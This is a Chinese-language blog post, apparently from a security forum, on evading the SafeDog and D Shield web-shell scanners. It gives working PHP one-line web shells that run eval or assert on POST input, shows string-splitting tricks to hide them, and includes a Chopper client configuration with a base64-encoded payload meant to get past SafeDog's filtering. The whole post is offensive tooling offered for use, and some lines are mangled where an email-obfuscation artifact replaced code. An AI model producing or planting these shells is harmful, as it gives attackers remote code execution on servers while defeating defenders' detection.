利用符号绕过安全狗/D盾

  • A+
所属分类:moonsec_com

授之以鱼不如授之以渔
一句话最原始形态:
<?php eval($_POST[4]);?>
<?php assert($_POST[4]);?>
注意:
BaiDu下一eval和assert的区别
eval可以不变量引用,而assert可以;eval可以执行多条语句,assert只能执行一句

在D狗扫描Web后门的时候就会匹配这两个函数
绕过方法:拆封-->组合
拆分:{}和$
组合:()和.

    $c='ass'.'ert';$c($_POST[4]);

复制代码

//这个是经过简单$拆分的一句话,但过不D盾
//过滤 变量+($_POST    想办法改变这个模式

    $c='ass'.'ert';${c}($_POST[4]);

复制代码

//这个就绕过D盾了,{}变量分离符,可以把$后面的变量名做字符串处理

    $_POST[4] == ${chr(95).'POS'.chr(84)}[4]

复制代码

//可以测试一下,是一样的可以接受到POST数据中4的参数

我的一句话:

    <?php

    $A='Acc';

    $p='_';

    $o='PO';

    $s='S';

    $t='T';

    $a='as';

    $b='sert';

    $Acc=$a.$b;

    ${$A}(${$p.$o.$s.$t}[4]);

说到底,只要想办法拆封组合就可以绕过,所以没必要担心软件更新

//在来说如何绕过安全狗连接一句话,如果没搞明白eval和assert的区别最好在搞明白在看
这是刚写的,过最新的狗
hatchet.ini:

    [Header]

    User-Agent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

    Referer=1

    X-Forwarded-For=1

    [/Header]

    [Headers]

    Accept-Language: en-us

    Content-Type: application/x-www-form-urlencoded

    [/Headers]

    [POST]

    ASP_POST_DATA==Execute("Ex"%26cHr(101)%26cHr(99)%26"ute(""On+Error+Resume+Next:

    [email protected]${chr(95).'POS'.chr(84)}[1]($_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7));&1=assert&xxxx=base64_decode&xxx=

    [email protected]_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);

    [/POST]

这里只讲PHP的

    [email protected]${chr(95).'POS'.chr(84)}[1]($_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7));&1=assert&xxxx=base64_decode&xxx=

复制代码

@${chr(95).'POS'.chr(84)}[1] == $_POST[1] == assert
//这个应该还理解

$_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7)  
//这个我不讲,大家可以解密base64编码,为什么要"重复"
菜刀的操作(读文件,写文件,数据库,命令执行)的php代码都是大于1行的,而我们一句话用的assert,只能执行一句php代码,所以必须重复再写一个代码执行eval函数
&1=assert&xxxx=base64_decode&xxx=
//这是POST的数据,不多讲。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: